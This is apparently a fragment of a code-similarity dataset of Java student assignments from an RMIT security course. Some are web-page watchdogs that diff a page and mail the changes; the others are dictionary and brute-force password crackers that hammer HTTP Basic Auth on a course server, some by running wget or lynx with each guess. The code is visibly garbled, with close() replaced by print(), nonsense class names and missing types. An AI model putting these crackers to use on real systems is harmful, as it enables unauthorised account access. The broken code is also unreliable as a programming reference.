}\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = \"\";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile(\"new\", \"tmp\");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + \"\\n\";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog(\"Exception: \" + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != \"\") && (line != \"\\n\"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog(\"Exception: \" + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog(\"Exception: \" + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add(\"@yallara.cs.rmit.edu.\");\n            emailAddresses.add(\"[email protected].\");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = \"From: \" + \"WatchDog Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName() + \">\";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = \"Subject: [SEC project] Notification of target file changes (\" + longTimestamp.format(new Date()) +\")\";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL(\"mailto: \" + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(\": \" + toAddress + \"\\n\");\n                        mailWriter.print(fromAddress + \"\\n\");\n                        mailWriter.print(subject + \"\\n\");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog(\"\\tNotification mailed in this run.\");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog(\"Exception: \" + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog(\"Exception: \" + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog(\"Exception: \" + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog(\"Exception: \" + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog(\"Exception: \" + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = \"watchDogLog_rcroft.txt\";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + \"\\n\");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println(\"Exception: \" + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = \"http://www.cs.rmit.edu./students/\";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = \"\";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + \"\\n\";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog(\"Failed  connect \" + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog(\"Exception \" + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance(\"\");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog(\"Exception: \" + e);\n        }\n        return outHash;\n    } \n        \n} \n"
      - "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Dictionary{\n\n       private String passwd = \"\";              \n       private String command = \"\";             \n       private String fname = \"/usr/share/lib/dict/words\"; \n       private BufferedReader readin;          \n       private BufferedReader in;              \n       private PrintWriter  out;               \n\n       private int startTime = 0;             \n       private int endTime = 0;               \n       private int totalTimes = 0;            \n       \n       private boolean bfind = false;\n       \n       public Dictionary(){}\n       \n       public void readPasswd(){\n              startTime = System.currentTimeMillis();\n              try{\n                  readin = new BufferedReader(new FileReader(fname));\n\t\t\t\t  while ((passwd = readin.readLine()) !=null){\n                   \t\t if(bfind)\n                   \t\t    break;\n                         connection(passwd.trim());\n\t\t\t\t  }\n\t\t\t\t  readin.print();\n\t\t\t  }catch (FileNotFoundException e1){System.out.println(e1.getMessage());}\n\t\t\t   catch (IOException e2 ){System.out.println(e2.getMessage());}\n\t   }\n       \n       public void connection(String passwd){\n              command = \"lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:\";\n              command = command + passwd;\n              try{\n                  System.out.println(passwd +\"-->  Establishing a connection.\");\n                  Runtime runtime = Runtime.getRuntime();\n                  Process p = runtime.exec(command);\n                  in = new BufferedReader(new InputStreamReader(p.getInputStream()));\n                  String inStr;\n                  while((inStr = in.readLine())!= null){\n                        if(inStr.indexOf(\"HTTP/1.1 200\") != -1 || inStr.indexOf(\"HTTP/1.0 200\") != -1||\n                            inStr.indexOf(\"HTTP/1.1 404\") != -1 || inStr.indexOf(\"HTTP/1.0 404\") != -1){\n                            endTime = System.currentTimeMillis();\n                            totalTimes = endTime - startTime;\n                            System.out.println(\"\\nDictionary Crack Passwd successful, PassWord is \" + passwd);\n                            System.out.println(\"Total Times is \" + totalTimes + \" milliSec\");\n                            System.out.println(\"Writing it  dictpswd.txt file\\n\");\n                            out = new PrintWriter(new BufferedWriter(new FileWriter(\"dictpswd.txt\")));\n                            out.println(\"Dictionary Crack PassWord Successful! Total Times: \" + totalTimes + \" milliSec\");\n                            out.println(\"Passwd: \"+ passwd);\n                            out.flush();\n                            bfind = true;\n                        }\n                        out.print();\n                  }\n                  in.print();\n              }catch(Exception e){System.out.println(e.getMessage());}\n       }\n       \n       public String getAnyKey()throws Exception{\n\t\t      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));\n\t\t      String key= stdin.readLine();\n\t          return key;\n\t   }\n\t   \n       public static void main (String []args){\n\n              Dictionary dc = new Dictionary();\n              System.out.println(\"\\n*******************************************\");\n              System.out.println(\"*                                         *\");\n              System.out.println(\"*     Dictionary Crack Passwd Program     *\");\n              System.out.println(\"*    ---------------------------------    *\");\n              System.out.println(\"*          Author:              *\");\n              System.out.println(\"*                                         *\");\n              System.out.println(\"*******************************************\");\n              System.out.println(\"\\n  Dictionary Crack Passwd Information: \\n\");\n              System.out.println(\"--> UserName: \");\n              System.out.println(\"--> Passwd from the dictionary file: \"+ dc.fname);\n              System.out.println(\"--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\\n\");\n              System.out.println(\"==> Press Ctrl+C  stop Crack\\n\");\n              System.out.print(\"==> Press EnterKey  : \");\n\t\t\t  try{\n                  String key = dc.getAnyKey();\n              }catch(Exception e){System.out.println(e.getMessage());}\n\t\t\t  dc.readPasswd();\n       }\n}"
  - source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class Watchdog\n{\n\tpublic static void main(String args[])\n\t{\n\t\t\n\t\tString mainLink=\"http://www.cs.rmit.edu./students/\";\n\t\tString sender = \"@cs.rmit.edu.\";\n\t\tString recipient = \"<webtech@acuneeds.>\";\n\t\tString hostName = \"yallara.cs.rmit.edu.\";\n\t\tint delay = 86400000;\n\n\t\ttry\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\t\t\tString imgLink;\n\t\t\tVector imageList = new Vector();\n\t\t\tHttpURLConnection imgConnection;\n\t\t\tURL imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender, recipient, hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL, imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n"
    sentences:
      - |-





        import java.io.IOException;
        import java.net.*;

        import java.io.*;
        import java.util.*;



        public class BruteForce

        {

           static String strLetter[];

           static URL url = null;
           static URLConnection urlConnection;
           static InputStream urlStream;

           static String strExceptionPassword[];

           static int intExceptionCount = -1;

           static int intNumberOfConnectionAttempts = 0;

           static String username = "";

           static String strLastPasswordTested;



           public static void main (String args[])
           
           {

                 
                 
              Calendar calStart;
              Calendar calFinish;   
              Date dateStart;
              Date dateFinish;
               lngStart;
               lngFinish;



                 
                 
              calStart  = new GregorianCalendar();
              dateStart = calStart.getTime();
              lngStart  = dateStart.getTime();          




              System.out.println();
              System.out.println();




                 
                 
              populateArray();


                 
                 
                 
                 

              boolean boolPasswordFound = false;
              boolean boolExceptionPasswordsTestedAgain = false;

              String strPasswd;




              String urlString
                    = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";

              int intCounter1 = 0;
              int intCounter2 = 0;
              int intCounter3 = 0;

              int intArrayLength = strLetter.length;




                 
                 
                 
                 
                 
              strExceptionPassword = new String[5000];



              if (!boolPasswordFound) 
              {


                    
                    

                 intCounter1 = 0;

                 while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
                 {

                    boolPasswordFound = true;

                    boolPasswordFound 
                           = passwordWasFound(urlString,
                                              strLetter[intCounter1], 
                                              boolPasswordFound);

                    intCounter1++;

                 }



                    
                    

                 intCounter1 = 0;

                 while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
                 {

                    intCounter2 = 0;

                    while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
                    {

                       boolPasswordFound = true;

                       boolPasswordFound 
                           = passwordWasFound
                                  (urlString,
                                   strLetter[intCounter1] 
                                          + strLetter[intCounter2], 
                                   boolPasswordFound);

                       intCounter2++;  

                    }


                    intCounter1++;

                 }




                    
                    

                 intCounter1 = 0;

                 while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
                 {

                    intCounter2 = 0;

                    while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
                    {

                       intCounter3 = 0;


                       while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )
                       {

                          boolPasswordFound = true;


                          boolPasswordFound 
                              = passwordWasFound
                                     (urlString,
                                      strLetter[intCounter1] 
                                            + strLetter[intCounter2]
                                            + strLetter[intCounter3], 
                                      boolPasswordFound);

                          intCounter3++;

                       }


                       intCounter2++;

                    }


                    intCounter1++; 

                 }




                    
                    
                    
                    
                    

                 intCounter1 = 0;

                 while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
                 {

                    boolExceptionPasswordsTestedAgain = true;
                    boolPasswordFound = true;

                    boolPasswordFound 
                        = passwordWasFound(urlString,
                                           strExceptionPassword[intCounter1],
                                           boolPasswordFound);  

                    intCounter1++;

                 }

              }   



              System.out.println();



                 
                 
              calFinish  = new GregorianCalendar();
              dateFinish = calFinish.getTime();
              lngFinish  = dateFinish.getTime();      



                 
                 
              System.out.println();
              System.out.println();


              System.out.println();
              System.out.println("Length of time for processing: " + 
                                 ((lngFinish - lngStart) / 1000)   + 
                                 " seconds");


              System.out.println();
              System.out.println("Number of connection attempts = " + intNumberOfConnectionAttempts);


              System.out.println();
              System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1));


              if (intExceptionCount >= 0)
              {
                 System.out.print("These EXCEPTION passwords WERE ");

                 if (boolExceptionPasswordsTestedAgain)
                    System.out.print("tested again.");
                 else
                    System.out.print("NOT tested again.");

                 System.out.println();
              }


              System.out.println();


              if (boolPasswordFound) 
              {
                 System.out.println("The correct password WAS found - this password is '" + 
                                    strLastPasswordTested + "'.");
              } 
              else
              {
                 System.out.println("The correct password WAS NOT found.");
              } 
                    
              System.out.println();




           }







           static void populateArray()
           
           {

              strLetter = new String[52];


              strLetter[0]  = "a";
              strLetter[1]  = "b";
              strLetter[2]  = "c";
              strLetter[3]  = "d";
              strLetter[4]  = "e";
              strLetter[5]  = "f";
              strLetter[6]  = "g";
              strLetter[7]  = "h";
              strLetter[8]  = "i";
              strLetter[9]  = "j";
              strLetter[10] = "k";
              strLetter[11] = "l";
              strLetter[12] = "m";
              strLetter[13] = "n";
              strLetter[14] = "o";
              strLetter[15] = "p";
              strLetter[16] = "q";
              strLetter[17] = "r";
              strLetter[18] = "s";
              strLetter[19] = "t";
              strLetter[20] = "u";
              strLetter[21] = "v";
              strLetter[22] = "w";
              strLetter[23] = "x";
              strLetter[24] = "y";
              strLetter[25] = "z";
              strLetter[26] = "A";
              strLetter[27] = "B";
              strLetter[28] = "C";
              strLetter[29] = "D";
              strLetter[30] = "E";
              strLetter[31] = "F";
              strLetter[32] = "G";
              strLetter[33] = "H";
              strLetter[34] = "I";
              strLetter[35] = "J";
              strLetter[36] = "K";
              strLetter[37] = "L";
              strLetter[38] = "M";
              strLetter[39] = "N";
              strLetter[40] = "O";
              strLetter[41] = "P";
              strLetter[42] = "Q";
              strLetter[43] = "R";
              strLetter[44] = "S";
              strLetter[45] = "T";
              strLetter[46] = "U";
              strLetter[47] = "V";
              strLetter[48] = "W";
              strLetter[49] = "X";
              strLetter[50] = "Y";
              strLetter[51] = "Z";

           }







           static boolean passwordWasFound(String urlString,
                                           String password,
                                           boolean retVal)
           
           {

              String strEncodeInput = username + ":" + password;
              boolean returnValue = retVal;
              boolean boolExceptionThrown = false;



              try
              {

                 strLastPasswordTested = password;
         
                 intNumberOfConnectionAttempts++;

                 url = new URL(urlString);

                 String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());


                 System.out.print("username = " + 
                                  username      + 
                                  "    "        +
                                  "password = " +
                                  password);



                 HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();

                 urlConnection.setRequestProperty("Authorization", 
                                                  " " + encoding);   

                 System.out.println("    response  = " + urlConnection.getResponseCode());

                 if (urlConnection.getResponseCode() == 401)
                 {
                    returnValue = false;         
                 }

              }

              catch (MalformedURLException m)
              {
                 boolExceptionThrown = true;
                 returnValue = false;

                 System.err.println(m);
                 System.out.println("Malformed URL Exception error");
              }

              catch (IOException io)
              {
                 boolExceptionThrown = true;
                 returnValue = false;

                 System.out.println("IOException error");
                 System.err.println(io); 
              }

              catch (Exception e)
              {
                 boolExceptionThrown = true;
                 returnValue = false;

                 System.out.println("General exception.....");
                 System.err.println(e); 
              }

              finally
              { 
                 urlConnection = null;
                 url = null; 
              }


              if (boolExceptionThrown)
              {
                 intExceptionCount++;
                 strExceptionPassword[intExceptionCount] = password;
              }


              return returnValue;

           }

        }
      - |
        import java.Object;
        import java.io.*;
        import java.String;
        import java.util.*;

        class Dictionary{

              public static void main(String [] args){
                      try
                        {
                        Date d = new Date();
                        String line1="";
                        String ps="";
                        String file1 = "words.txt";
                        String file2 = "index.html";
                        String endline="Authorization failed.";
                        String [] cmd = new String[4];
                        cmd[0] = "wget";
                        cmd[1] = "--http-user=";
                        cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";

                        FileReader fr1 = new FileReader(file1);
                        BufferedReader in1 = new BufferedReader(fr1);
                        while((line1 = in1.readLine())!=null)
                        {
                          try{
                            cmd[2] = connect(line1);
                            Runtime.getRuntime().exec(cmd);
                            if(line1.length()==3)
                              ps = line1;
                            System.out.println(cmd[2]);
                            File f = new File(file2);
                            if(f.exists())
                            {
                            System.out.println("password: " + ps);
                            break;
                            }
                           }
                            catch(IOException ex)
                            {
                                System.out.println("hello1");
                            }

                        }
                        Date end = new Date();
                        System.out.println(d.toString());
                        System.out.println(end.toString());
                        System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
                       }

                    catch(IOException e)
                    {
                      System.out.println("hello,didnt find file.");
                    }
              }
            public static String connect(String str1)
                    {
                         char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
                         String str = new String(data);
                         return str + str1;
                    }

        }
      - |

        import java.io.*;

        public class PasswordFile {
            
            private String strFilepath;
            private String strCurrWord;
            private File fWordFile;
            private BufferedReader in;
            
            
            public PasswordFile(String filepath) {
                strFilepath = filepath;
                try {
                    fWordFile = new File(strFilepath);
                    in = new BufferedReader(new FileReader(fWordFile));
                }
                catch(Exception e)
                {
                    System.out.println("Could not open file " + strFilepath);
                }
            }
            
            String getPassword() {
                return strCurrWord;
            }
            
            String getNextPassword() {
                try {
                    strCurrWord = in.readLine();
                    
                    
                    
                }
                catch (Exception e)
                {
                    
                    return null;
                }
                        
                return strCurrWord;
            }
            
        }
  - source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is :\" + word);\n        else\n            System.out.println(\"NOT FOUND!\");\n\t}\n}"
    sentences:
      - "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println(\"IO Error : \" + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println(\"Error: \" + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + \" is not a parseable URL\");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff(\"@.rmit.edu.\");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = \"diff test1.txt test2.txt\";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File(\"diff.txt\");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream(\"diff.txt\",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println(\"IO Error : \" + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader(\"diff.txt\");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String(\"  some changes  the web  as followed: \\n\");\n                \n                Socket s = new Socket(\"wombat.cs.rmit.edu.\", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send(\"HELO cs.rmit.edu.\");\n                send(\"MAIL FROM: @.rmit.edu.\");\n                \n                send(\"RCPT : @.rmit.edu.\");\n                send(\"DATA\");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(\"\"+line2+\"\\n\");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(\".\");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println(\"File not found\");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println(\"IO Error \" + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + \"\\n\");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}"
      - "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password=\"\";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd=\"\";\n\n       int t0,t1;\n\n      String line =\"\";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t\"Usage : java BruteForce <username>\");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println (\"  \" + new Date());\n      System.out.println (\"Using Dictionary method  attack \"+username+\"'s password.  Please waiting.......\");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println(\"The password: \"+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds\");\n                \n                System.out.println (\"Finish  \" + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(\" not find the password\");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n      \n      try {\n\n        String userPassword = username+\":\"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}"
